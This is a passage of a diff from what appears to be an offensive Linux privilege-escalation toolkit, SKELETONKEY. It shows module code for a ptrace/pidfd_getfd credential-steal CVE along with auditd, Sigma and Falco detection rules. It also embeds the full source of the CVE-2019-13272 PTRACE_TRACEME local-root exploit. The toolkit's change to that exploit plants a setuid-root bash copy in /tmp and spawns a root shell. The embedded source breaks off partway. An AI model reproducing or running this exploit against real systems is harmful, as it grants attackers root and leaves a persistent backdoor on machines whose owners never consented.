||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: pidfd_open / pidfd_getfd / Yama ptrace_scope are
|
||||
* Linux-only ABI. Stub out so the module still registers and the
|
||||
* top-level `make` completes on macOS/BSD dev boxes. */
|
||||
static skeletonkey_result_t ptrace_pidfd_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] ptrace_pidfd: Linux-only module "
|
||||
"(pidfd_getfd cred-steal) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t ptrace_pidfd_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] ptrace_pidfd: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t ptrace_pidfd_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t ptrace_pidfd_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* Embedded detection rules — keep the binary self-contained. The
|
||||
* behavioural signal is pidfd_getfd(2) issued by a non-root process
|
||||
* against a setuid/privileged target. Legitimate users of pidfd_getfd
|
||||
* are rare and mostly root (container runtimes, debuggers) — a non-root
|
||||
* pidfd_getfd is a strong indicator. */
|
||||
static const char ptrace_pidfd_auditd[] =
|
||||
"# CVE-2026-46333 (ptrace/pidfd_getfd cred-steal) — auditd rules\n"
|
||||
"# pidfd_getfd by a non-root process is rare and high-signal. Also\n"
|
||||
"# watch the credential files a successful steal would target.\n"
|
||||
"-a always,exit -F arch=b64 -S pidfd_getfd -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ptrace-pidfd\n"
|
||||
"-a always,exit -F arch=b64 -S pidfd_open -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ptrace-pidfd\n"
|
||||
"-w /etc/shadow -p wa -k skeletonkey-ptrace-pidfd\n"
|
||||
"-w /etc/passwd -p wa -k skeletonkey-ptrace-pidfd\n";
|
||||
|
||||
static const char ptrace_pidfd_sigma[] =
|
||||
"title: Possible CVE-2026-46333 pidfd_getfd credential-steal LPE\n"
|
||||
"id: 4d6f3e2a-skeletonkey-ptrace-pidfd\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects pidfd_getfd(2) issued by a non-root user. The CVE-2026-46333\n"
|
||||
" technique pidfd_open()s a transiently-privileged setuid process and\n"
|
||||
" pidfd_getfd()s descriptors it opened while root, past the dumpable\n"
|
||||
" boundary __ptrace_may_access should have enforced. False positives:\n"
|
||||
" privileged container runtimes / debuggers that legitimately use pidfd.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" getfd: {type: 'SYSCALL', syscall: 'pidfd_getfd'}\n"
|
||||
" non_root: {auid|expression: '>= 1000'}\n"
|
||||
" condition: getfd and non_root\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.46333]\n";
|
||||
|
||||
static const char ptrace_pidfd_falco[] =
|
||||
"- rule: pidfd_getfd from setuid victim by non-root (CVE-2026-46333)\n"
|
||||
" desc: |\n"
|
||||
" A non-root process calls pidfd_getfd() to pull a descriptor out of\n"
|
||||
" another process. The CVE-2026-46333 cred-steal races a setuid\n"
|
||||
" binary (chage, ssh-keysign, pkexec) or root daemon (accounts-daemon)\n"
|
||||
" as it drops privileges, stealing a root-opened fd or authenticated\n"
|
||||
" channel past the dumpable boundary. False positives: container\n"
|
||||
" runtimes / debuggers using pidfd as root.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = pidfd_getfd and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" pidfd_getfd by non-root (possible CVE-2026-46333 fd-steal)\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.46333]\n";
|
||||
|
||||
const struct skeletonkey_module ptrace_pidfd_module = {
|
||||
.name = "ptrace_pidfd",
|
||||
.cve = "CVE-2026-46333",
|
||||
.summary = "__ptrace_may_access dumpable race → pidfd_getfd steals root fds from a dropping-privilege process",
|
||||
.family = "ptrace_pidfd",
|
||||
.kernel_range = "5.6 <= K (pidfd_getfd vector); fixed 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7 (Debian backports of the 2026-05-14 mainline fix)",
|
||||
.detect = ptrace_pidfd_detect,
|
||||
.exploit = ptrace_pidfd_exploit,
|
||||
.mitigate = ptrace_pidfd_mitigate,
|
||||
.cleanup = ptrace_pidfd_cleanup,
|
||||
.detect_auditd = ptrace_pidfd_auditd,
|
||||
.detect_sigma = ptrace_pidfd_sigma,
|
||||
.detect_yara = NULL, /* behavioural (syscall) bug — no file artifact to match */
|
||||
.detect_falco = ptrace_pidfd_falco,
|
||||
.opsec_notes = "Spawns a setuid victim (chage/pkexec/ssh-keysign/passwd/su) with a benign read-only argv, pidfd_open()s it, and sweeps pidfd_getfd() across its low descriptor table during the credential-drop window. Captured descriptors are fstat()'d to fingerprint ownership and closed (non-destructive); a uid-0-owned fd captured from a non-root context is the empirical witness that __ptrace_may_access let the steal through. Audit-visible via pidfd_getfd(2)/pidfd_open(2) issued by a non-root auid, typically clustered (tight retry loop) and immediately preceded by execve of a setuid binary. No file artifacts and no persistence — the steal is in-memory fd reuse. --mitigate writes kernel.yama.ptrace_scope=2; --cleanup restores it to 1. Arch-agnostic (no shellcode).",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_ptrace_pidfd(void)
|
||||
{
|
||||
skeletonkey_register(&ptrace_pidfd_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* ptrace_pidfd_cve_2026_46333 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef PTRACE_PIDFD_SKELETONKEY_MODULES_H
|
||||
#define PTRACE_PIDFD_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module ptrace_pidfd_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,571 @@
|
||||
/* ptrace_helper_src.h — AUTO-GENERATED. DO NOT EDIT BY HAND.
|
||||
*
|
||||
* Embedded source of the proven CVE-2019-13272 exploit (original author
|
||||
* Jann Horn / Google Project Zero #1903; auto-targeting + helper search by
|
||||
* bcoles). The only SKELETONKEY change vs upstream is spawn_shell(): instead
|
||||
* of only dropping into an interactive shell, it plants a root-owned proof
|
||||
* file (SK_PROOF) and a setuid-root bash (SK_ROOTBASH) so the module can
|
||||
* verify root out-of-band, and only execs an interactive shell on a tty.
|
||||
* The module writes this out, compiles it with unique -DSK_PROOF/-DSK_ROOTBASH
|
||||
* paths, runs it, and stat()s the artifacts to confirm uid==0.
|
||||
*/
|
||||
static const char ptrace_traceme_helper_src[] =
|
||||
"// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n"
|
||||
"//\n"
|
||||
"// Uses pkexec technique. Requires execution within the context\n"
|
||||
"// of a user session with an active PolKit agent.\n"
|
||||
"//\n"
|
||||
"// Exploitation will fail if kernel.yama.ptrace_scope >= 2;\n"
|
||||
"// or SELinux deny_ptrace=on.\n"
|
||||
"// ---\n"
|
||||
"// Original discovery and exploit author: Jann Horn\n"
|
||||
"// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903\n"
|
||||
"// ---\n"
|
||||
"// <bcoles@gmail.com>\n"
|
||||
"// - added known helper paths\n"
|
||||
"// - added search for suitable helpers\n"
|
||||
"// - added automatic targeting\n"
|
||||
"// - changed target suid executable from passwd to pkexec\n"
|
||||
"// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272\n"
|
||||
"// ---\n"
|
||||
"// Tested on:\n"
|
||||
"// - Ubuntu 16.04.5 kernel 4.15.0-29-generic\n"
|
||||
"// - Ubuntu 18.04.1 kernel 4.15.0-20-generic\n"
|
||||
"// - Ubuntu 18.04.3 kernel 5.0.0-23-generic\n"
|
||||
"// - Ubuntu 19.04 kernel 5.0.0-15-generic\n"
|
||||
"// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic\n"
|
||||
"// - Linux Mint 17.3 kernel 4.4.0-89-generic\n"
|
||||
"// - Linux Mint 18.3 kernel 4.13.0-16-generic\n"
|
||||
"// - Linux Mint 19 kernel 4.15.0-20-generic\n"
|
||||
"// - Xubuntu 16.04.4 kernel 4.13.0-36-generic\n"
|
||||
"// - ElementaryOS 0.4.1 4.8.0-52-generic\n"
|
||||
"// - Backbox 6 kernel 4.18.0-21-generic\n"
|
||||
"// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64\n"
|
||||
"// - Kali kernel 4.19.0-kali5-amd64\n"
|
||||
"// - MX 18.3 kernel 4.19.37-2~mx17+1\n"
|
||||
"// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64\n"
|
||||
"// - CentOS 8 kernel 4.18.0-80.el8.x86_64\n"
|
||||
"// - Debian 9.4.0 kernel 4.9.0-6-amd64\n"
|
||||
"// - Debian 10.0.0 kernel 4.19.0-5-amd64\n"
|
||||
"// - Devuan 2.0.0 kernel 4.9.0-6-amd64\n"
|
||||
"// - SparkyLinux 5.8 kernel 4.19.0-5-amd64\n"
|
||||
"// - SparkyLinux 5.9 kernel 4.19.0-6-amd64\n"
|
||||
"// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64\n"
|
||||
"// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO\n"
|
||||
"// - Mageia 6 kernel 4.9.35-desktop-1.mga6\n"
|
||||
"// - Antergos 18.7 kernel 4.17.6-1-ARCH\n"
|
||||
"// - lubuntu 19.04 kernel 5.0.0-13-generic\n"
|
||||
"// - Sabayon 19.03 kernel 4.20.0-sabayon\n"
|
||||
"// - Pop! OS 19.04 kernel 5.0.0-21-generic\n"
|
||||
"// ---\n"
|
||||
"// [user@localhost CVE-2019-13272]$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root\n"
|
||||
"// [user@localhost CVE-2019-13272]$ ./ptrace_traceme_root\n"
|
||||
"// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n"
|
||||
"// [.] Checking environment ...\n"
|
||||
"// [~] Done, looks good\n"
|
||||
"// [.] Searching policies for useful helpers ...\n"
|
||||
"// [.] Ignoring helper (does not exist): /usr/sbin/pk-device-rebind\n"
|
||||
"// [.] Trying helper: /usr/libexec/gsd-backlight-helper\n"
|
||||
"// [.] Spawning suid process (/usr/bin/pkexec) ...\n"
|
||||
"// [.] Tracing midpid ...\n"
|
||||
"// [~] Attached to midpid\n"
|
||||
"// [root@localhost CVE-2019-13272]# id\n"
|
||||
"// uid=0(root) gid=0(root) groups=0(root),1000(user)\n"
|
||||
"// [root@localhost CVE-2019-13272]# uname -a\n"
|
||||
"// Linux localhost.localdomain 4.18.0-80.el8.x86_64 #1 SMP Tue Jun 4 09:19:46 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux\n"
|
||||
"// ---\n"
|
||||
"\n"
|
||||
"#define _GNU_SOURCE\n"
|
||||
"#include <string.h>\n"
|
||||
"#include <stdlib.h>\n"
|
||||
"#include <unistd.h>\n"
|
||||
"#include <signal.h>\n"
|
||||
"#include <stdio.h>\n"
|
||||
"#include <fcntl.h>\n"
|
||||
"#include <sched.h>\n"
|
||||
"#include <stddef.h>\n"
|
||||
"#include <stdarg.h>\n"
|
||||
"#include <pwd.h>\n"
|
||||
"#include <sys/prctl.h>\n"
|
||||
"#include <sys/wait.h>\n"
|
||||
"#include <sys/ptrace.h>\n"
|
||||
"#include <sys/user.h>\n"
|
||||
"#include <sys/syscall.h>\n"
|
||||
"#include <sys/stat.h>\n"
|
||||
"#include <linux/elf.h>\n"
|
||||
"\n"
|
||||
"#define DEBUG\n"
|
||||
"\n"
|
||||
"#ifdef DEBUG\n"
|
||||
"# define dprintf printf\n"
|
||||
"#else\n"
|
||||
"# define dprintf\n"
|
||||
"#endif\n"
|
||||
"\n"
|
||||
"/*\n"
|
||||
" * enabled automatic targeting.\n"
|
||||
" * uses pkaction to search PolKit policy actions for viable helper executables.\n"
|
||||
" */\n"
|
||||
"#define ENABLE_AUTO_TARGETING 1\n"
|
||||
"\n"
|
||||
"/*\n"
|
||||
" * fall back to known helpers if automatic targeting fails.\n"
|
||||
" * note: use of these helpers may result in PolKit authentication\n"
|
||||
" * prompts on the session associated with the PolKit agent.\n"
|
||||
" */\n"
|
||||
"#define ENABLE_FALLBACK_HELPERS 1\n"
|
||||
"\n"
|
||||
"static const char *SHELL = \"/bin/bash\";\n"
|
||||
"\n"
|
||||
"/* SKELETONKEY: out-of-band proof + persistent root artifact paths.\n"
|
||||
" * Passed in at compile time (-DSK_PROOF=... -DSK_ROOTBASH=...) so each\n"
|
||||
" * run uses a unique path; env vars can't be used because the staged\n"
|
||||
" * execveat() re-execs carry an empty environment. */\n"
|
||||
"#ifndef SK_PROOF\n"
|
||||
"#define SK_PROOF \"/tmp/.skeletonkey-ptrace-proof\"\n"
|
||||
"#endif\n"
|
||||
"#ifndef SK_ROOTBASH\n"
|
||||
"#define SK_ROOTBASH \"/tmp/.skeletonkey-ptrace-rootbash\"\n"
|
||||
"#endif\n"
|
||||
"\n"
|
||||
"static int middle_success = 1;\n"
|
||||
"static int block_pipe[2];\n"
|
||||
"static int self_fd = -1;\n"
|
||||
"static int dummy_status;\n"
|
||||
"static const char *helper_path;\n"
|
||||
"static const char *pkexec_path = \"/usr/bin/pkexec\";\n"
|
||||
"static const char *pkaction_path = \"/usr/bin/pkaction\";\n"
|
||||
"struct stat st;\n"
|
||||
"\n"
|
||||
"const char *helpers[1024];\n"
|
||||
"\n"
|
||||
"/* known helpers to use if automatic targeting fails */\n"
|
||||
"#if ENABLE_FALLBACK_HELPERS\n"
|
||||
"const char *known_helpers[] = {\n"
|
||||
" \"/usr/lib/gnome-settings-daemon/gsd-backlight-helper\",\n"
|
||||
" \"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper\",\n"
|
||||
" \"/usr/lib/unity-settings-daemon/usd-backlight-helper\",\n"
|
||||
" \"/usr/lib/unity-settings-daemon/usd-wacom-led-helper\",\n"
|
||||
" \"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper\",\n"
|
||||
" \"/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper\",\n"
|
||||
" \"/usr/sbin/mate-power-backlight-helper\",\n"
|
||||
" \"/usr/sbin/xfce4-pm-helper\",\n"
|
||||
" \"/usr/bin/xfpm-power-backlight-helper\",\n"
|
||||
" \"/usr/bin/lxqt-backlight_backend\",\n"
|
||||
" \"/usr/libexec/gsd-wacom-led-helper\",\n"
|
||||
" \"/usr/libexec/gsd-wacom-oled-helper\",\n"
|
||||
" \"/usr/libexec/gsd-backlight-helper\",\n"
|
||||
" \"/usr/lib/gsd-backlight-helper\",\n"
|
||||
" \"/usr/lib/gsd-wacom-led-helper\",\n"
|
||||
" \"/usr/lib/gsd-wacom-oled-helper\",\n"
|
||||
" \"/usr/lib64/xfce4/session/xsfm-shutdown-helper\",\n"
|
||||
"};\n"
|
||||
"#endif\n"
|
||||
"\n"
|
||||
"/* helper executables known to cause problems (hang or fail) */\n"
|
||||
"const char *blacklisted_helpers[] = {\n"
|
||||
" \"/xf86-video-intel-backlight-helper\",\n"
|
||||
" \"/cpugovctl\",\n"
|
||||
" \"/resetxpad\",\n"
|
||||
" \"/package-system-locked\",\n"
|
||||
" \"/cddistupgrader\",\n"
|
||||
"};\n"
|
||||
"\n"
|
||||
"#define SAFE(expr) ({ \\\n"
|
||||
" typeof(expr) __res = (expr); \\\n"
|
||||
" if (__res == -1) { \\\n"
|
||||
" dprintf(\"[-] Error: %s\\n\", #expr); \\\n"
|
||||
" return 0; \\\n"
|
||||
" } \\\n"
|
||||
" __res; \\\n"
|
||||
"})\n"
|
||||
"#define max(a,b) ((a)>(b) ? (a) : (b))\n"
|
||||
"\n"
|
||||
"/*\n"
|
||||
" * execveat() syscall\n"
|
||||
" * https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl\n"
|
||||
" */\n"
|
||||
"#ifndef __NR_execveat\n"
|
||||
"# define __NR_execveat 322\n"
|
||||
"#endif\n"
|
||||
"\n"
|
||||
"/* temporary printf; returned pointer is valid until next tprintf */\n"
|
||||
"static char *tprintf(char *fmt, ...) {\n"
|
||||
" static char buf[10000];\n"
|
||||
" va_list ap;\n"
|
||||
" va_start(ap, fmt);\n"
|
||||
" vsprintf(buf, fmt, ap);\n"
|
||||
" va_end(ap);\n"
|
||||
" return buf;\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
"/*\n"
|
||||
" * fork, execute pkexec in parent, force parent to trace our child process,\n"
|
||||
" * execute suid executable (pkexec) in child.\n"
|
||||
" */\n"
|
||||
"static int middle_main(void *dummy) {\n"
|
||||
" prctl(PR_SET_PDEATHSIG, SIGKILL);\n"
|
||||
" pid_t middle = getpid();\n"
|
||||
"\n"
|
||||
" self_fd = SAFE(open(\"/proc/self/exe\", O_RDONLY));\n"
|
||||
"\n"
|
||||
" pid_t child = SAFE(fork());\n"
|
||||
" if (child == 0) {\n"
|
||||
" prctl(PR_SET_PDEATHSIG, SIGKILL);\n"
|
||||
"\n"
|
||||
" SAFE(dup2(self_fd, 42));\n"
|
||||
"\n"
|
||||
" /* spin until our parent becomes privileged (have to be fast here) */\n"
|
||||
" int proc_fd = SAFE(open(tprintf(\"/proc/%d/status\", middle), O_RDONLY));\n"
|
||||
" char *needle = tprintf(\"\\nUid:\\t%d\\t0\\t\", getuid());\n"
|
||||
" while (1) {\n"
|
||||
" char buf[1000];\n"
|
||||
" ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));\n"
|
||||
" buf[buflen] = '\\0';\n"
|
||||
" if (strstr(buf, needle)) break;\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" /*\n"
|
||||
" * this is where the bug is triggered.\n"
|
||||
" * while our parent is in the middle of pkexec, we force it to become our\n"
|
||||
" * tracer, with pkexec's creds as ptracer_cred.\n"
|
||||
" */\n"
|
||||
" SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));\n"
|
||||
"\n"
|
||||
" /*\n"
|
||||
" * now we execute a suid executable (pkexec).\n"
|
||||
" * Because the ptrace relationship is considered to be privileged,\n"
|
||||
" * this is a proper suid execution despite the attached tracer,\n"
|
||||
" * not a degraded one.\n"
|
||||
" * at the end of execve(), this process receives a SIGTRAP from ptrace.\n"
|
||||
" */\n"
|
||||
" execl(pkexec_path, basename(pkexec_path), NULL);\n"
|
||||
"\n"
|
||||
" dprintf(\"[-] execl: Executing suid executable failed\");\n"
|
||||
" exit(EXIT_FAILURE);\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" SAFE(dup2(self_fd, 0));\n"
|
||||
" SAFE(dup2(block_pipe[1], 1));\n"
|
||||
"\n"
|
||||
" /* execute pkexec as current user */\n"
|
||||
" struct passwd *pw = getpwuid(getuid());\n"
|
||||
" if (pw == NULL) {\n"
|
||||
" dprintf(\"[-] getpwuid: Failed to retrieve username\");\n"
|
||||
" exit(EXIT_FAILURE);\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" middle_success = 1;\n"
|
||||
" execl(pkexec_path, basename(pkexec_path), \"--user\", pw->pw_name,\n"
|
||||
" helper_path,\n"
|
||||
" \"--help\", NULL);\n"
|
||||
" middle_success = 0;\n"
|
||||
" dprintf(\"[-] execl: Executing pkexec failed\");\n"
|
||||
" exit(EXIT_FAILURE);\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
"/* ptrace pid and wait for signal */\n"
|
||||
"static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {\n"
|
||||
" struct user_regs_struct regs;\n"
|
||||
" struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) };\n"
|
||||
" SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));\n"
|
||||
" SAFE(waitpid(pid, &dummy_status, 0));\n"
|
||||
" SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));\n"
|
||||
"\n"
|
||||
" /* set up indirect arguments */\n"
|
||||
" unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;\n"
|
||||
" struct injected_page {\n"
|
||||
" unsigned long argv[2];\n"
|
||||
" unsigned long envv[1];\n"
|
||||
" char arg0[8];\n"
|
||||
" char path[1];\n"
|
||||
" } ipage = {\n"
|
||||
" .argv = { scratch_area + offsetof(struct injected_page, arg0) }\n"
|
||||
" };\n"
|
||||
" strcpy(ipage.arg0, arg0);\n"
|
||||
" int i;\n"
|
||||
" for (i = 0; i < sizeof(ipage)/sizeof(long); i++) {\n"
|
||||
" unsigned long pdata = ((unsigned long *)&ipage)[i];\n"
|
||||
" SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),\n"
|
||||
" (void*)pdata));\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" /* execveat(exec_fd, path, argv, envv, flags) */\n"
|
||||
" regs.orig_rax = __NR_execveat;\n"
|
||||
" regs.rdi = exec_fd;\n"
|
||||
" regs.rsi = scratch_area + offsetof(struct injected_page, path);\n"
|
||||
" regs.rdx = scratch_area + offsetof(struct injected_page, argv);\n"
|
||||
" regs.r10 = scratch_area + offsetof(struct injected_page, envv);\n"
|
||||
" regs.r8 = AT_EMPTY_PATH;\n"
|
||||
"\n"
|
||||
" SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));\n"
|
||||
" SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));\n"
|
||||
" SAFE(waitpid(pid, &dummy_status, 0));\n"
|
||||
"\n"
|
||||
" return 0;\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
"static int middle_stage2(void) {\n"
|
||||
" /* our child is hanging in signal delivery from execve()'s SIGTRAP */\n"
|
||||
" pid_t child = SAFE(waitpid(-1, &dummy_status, 0));\n"
|
||||
" return force_exec_and_wait(child, 42, \"stage3\");\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
"// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *\n"
|
||||
"\n"
|
||||
"static int spawn_shell(void) {\n"
|
||||
" SAFE(setresgid(0, 0, 0));\n"
|
||||
" SAFE(setresuid(0, 0, 0));\n"
|
||||
" /* SKELETONKEY payload: we are now genuinely root. Drop an out-of-band,\n"
|
||||
" * root-owned proof file and a setuid-root bash the operator can use, then\n"
|
||||
" * (only on an interactive tty) hand off an interactive root shell. In the\n"
|
||||
" * module's automated run stdin is /dev/null, so we just exit cleanly after\n"
|
||||
" * planting the artifacts — the module verifies root by stat()'ing them. */\n"
|
||||
" system(\"id > \" SK_PROOF \" 2>&1; \"\n"
|
||||
" \"cp -f /bin/bash \" SK_ROOTBASH \" 2>/dev/null; \"\n"
|
||||
" \"chown 0:0 \" SK_ROOTBASH \" 2>/dev/null; \"\n"
|
||||
" \"chmod 4755 \" SK_ROOTBASH \" 2>/dev/null; \"\n"
|
||||
" \"chown 0:0 \" SK_PROOF \" 2>/dev/null; sync\");\n"
|
||||
" if (isatty(0)) {\n"
|
||||
" execlp(SHELL, basename(SHELL), NULL);\n"
|
||||
" dprintf(\"[-] execlp: Executing shell %s failed\", SHELL);\n"
|
||||
" }\n"
|
||||
" _exit(EXIT_SUCCESS);\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
"// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *\n"
|
||||
"\n"
|
||||
"static int check_env(void) {\n"
|
||||
" int warn = 0;\n"
|
||||
" const char* xdg_session = getenv(\"XDG_SESSION_ID\");\n"
|
||||
"\n"
|
||||
" dprintf(\"[.] Checking environment ...\\n\");\n"
|
||||
"\n"
|
||||
" if (stat(pkexec_path, &st) != 0) {\n"
|
||||
" dprintf(\"[-] Could not find pkexec executable at %s\\n\", pkexec_path);\n"
|
||||
" exit(EXIT_FAILURE);\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" if (stat(\"/dev/grsec\", &st) == 0) {\n"
|
||||
" dprintf(\"[!] Warning: grsec is in use\\n\");\n"
|
||||
" warn++;\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" if (xdg_session == NULL) {\n"
|
||||
" dprintf(\"[!] Warning: $XDG_SESSION_ID is not set\\n\");\n"
|
||||
" warn++;\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" if (system(\"/bin/loginctl --no-ask-password show-session \\\"$XDG_SESSION_ID\\\" | /bin/grep Remote=no >>/dev/null 2>>/dev/null\") != 0) {\n"
|
||||
" dprintf(\"[!] Warning: Could not find active PolKit agent\\n\");\n"
|
||||
" warn++;\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" if (system(\"/sbin/sysctl kernel.yama.ptrace_scope 2>&1 | /bin/grep -q [23]\") == 0) {\n"
|
||||
" dprintf(\"[!] Warning: kernel.yama.ptrace_scope >= 2\\n\");\n"
|
||||
" warn++;\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" if (stat(\"/usr/sbin/getsebool\", &st) == 0) {\n"
|
||||
" if (system(\"/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on\") == 0) {\n"
|
||||
" dprintf(\"[!] Warning: SELinux deny_ptrace is enabled\\n\");\n"
|
||||
" warn++;\n"
|
||||
" }\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" if (warn > 0) {\n"
|
||||
" dprintf(\"[~] Done, with %d warnings\\n\", warn);\n"
|
||||
" } else {\n"
|
||||
" dprintf(\"[~] Done, looks good\\n\");\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" return warn;\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
"/*\n"
|
||||
" * Use pkaction to search PolKit policy actions for viable helper executables.\n"
|
||||
" * Check each action for allow_active=yes, extract the associated helper path,\n"
|
||||
" * and check the helper path exists.\n"
|
||||
" */\n"
|
||||
"#if ENABLE_AUTO_TARGETING\n"
|
||||
"int find_helpers() {\n"
|
||||
" if (stat(pkaction_path, &st) != 0) {\n"
|
||||
" dprintf(\"[-] No helpers found. Could not find pkaction executable at %s.\\n\", pkaction_path);\n"
|
||||
" return 0;\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" char cmd[1024];\n"
|
||||
" snprintf(cmd, sizeof(cmd), \"%s --verbose\", pkaction_path);\n"
|
||||
" FILE *fp;\n"
|
||||
" fp = popen(cmd, \"r\");\n"
|
||||
" if (fp == NULL) {\n"
|
||||
" dprintf(\"[-] Failed to run %s: %m\\n\", cmd);\n"
|
||||
" return 0;\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" char line[1024];\n"
|
||||
" char buffer[2048];\n"
|
||||
" int helper_index = 0;\n"
|
||||
" int useful_action = 0;\n"
|
||||
" int blacklisted_helper = 0;\n"
|
||||
" static const char *needle = \"org.freedesktop.policykit.exec.path -> \";\n"
|
||||
" int needle_length = strlen(needle);\n"
|
||||
"\n"
|
||||
" while (fgets(line, sizeof(line)-1, fp) != NULL) {\n"
|
||||
" /* check the action uses allow_active=yes */\n"
|
||||
" if (strstr(line, \"implicit active:\")) {\n"
|
||||
" if (strstr(line, \"yes\")) {\n"
|
||||
" useful_action = 1;\n"
|
||||
" }\n"
|
||||
" continue;\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" if (useful_action == 0)\n"
|
||||
" continue;\n"
|
||||
"\n"
|
||||
" useful_action = 0;\n"
|
||||
"\n"
|
||||
" /* extract the helper path */\n"
|
||||
" int length = strlen(line);\n"
|
||||
" char* found = memmem(&line[0], length, needle, needle_length);\n"
|
||||
" if (found == NULL)\n"
|
||||
" continue;\n"
|
||||
"\n"
|
||||
" memset(buffer, 0, sizeof(buffer));\n"
|
||||
" int i;\n"
|
||||
" for (i = 0; found[needle_length + i] != '\\n'; i++) {\n"
|
||||
" if (i >= sizeof(buffer)-1)\n"
|
||||
" continue;\n"
|
||||
" buffer[i] = found[needle_length + i];\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" /* check helper path against helpers defined in 'blacklisted_helpers' array */\n"
|
||||
" blacklisted_helper = 0;\n"
|
||||
" for (i=0; i<sizeof(blacklisted_helpers)/sizeof(blacklisted_helpers[0]); i++) {\n"
|
||||
" if (strstr(&buffer[0], blacklisted_helpers[i]) != 0) {\n"
|
||||
" dprintf(\"[.] Ignoring helper (blacklisted): %s\\n\", &buffer[0]);\n"
|
||||
" blacklisted_helper = 1;\n"
|
||||
" break;\n"
|
||||
" }\n"
|
||||
" }\n"
|
||||
" if (blacklisted_helper == 1)\n"
|
||||
" continue;\n"
|
||||
"\n"
|
||||
" /* check the path exists */\n"
|
||||
" if (stat(&buffer[0], &st) != 0) {\n"
|
||||
" dprintf(\"[.] Ignoring helper (does not exist): %s\\n\", &buffer[0]);\n"
|
||||
" continue;\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" helpers[helper_index] = strndup(&buffer[0], strlen(buffer));\n"
|
||||
" helper_index++;\n"
|
||||
"\n"
|
||||
" if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))\n"
|
||||
" break;\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
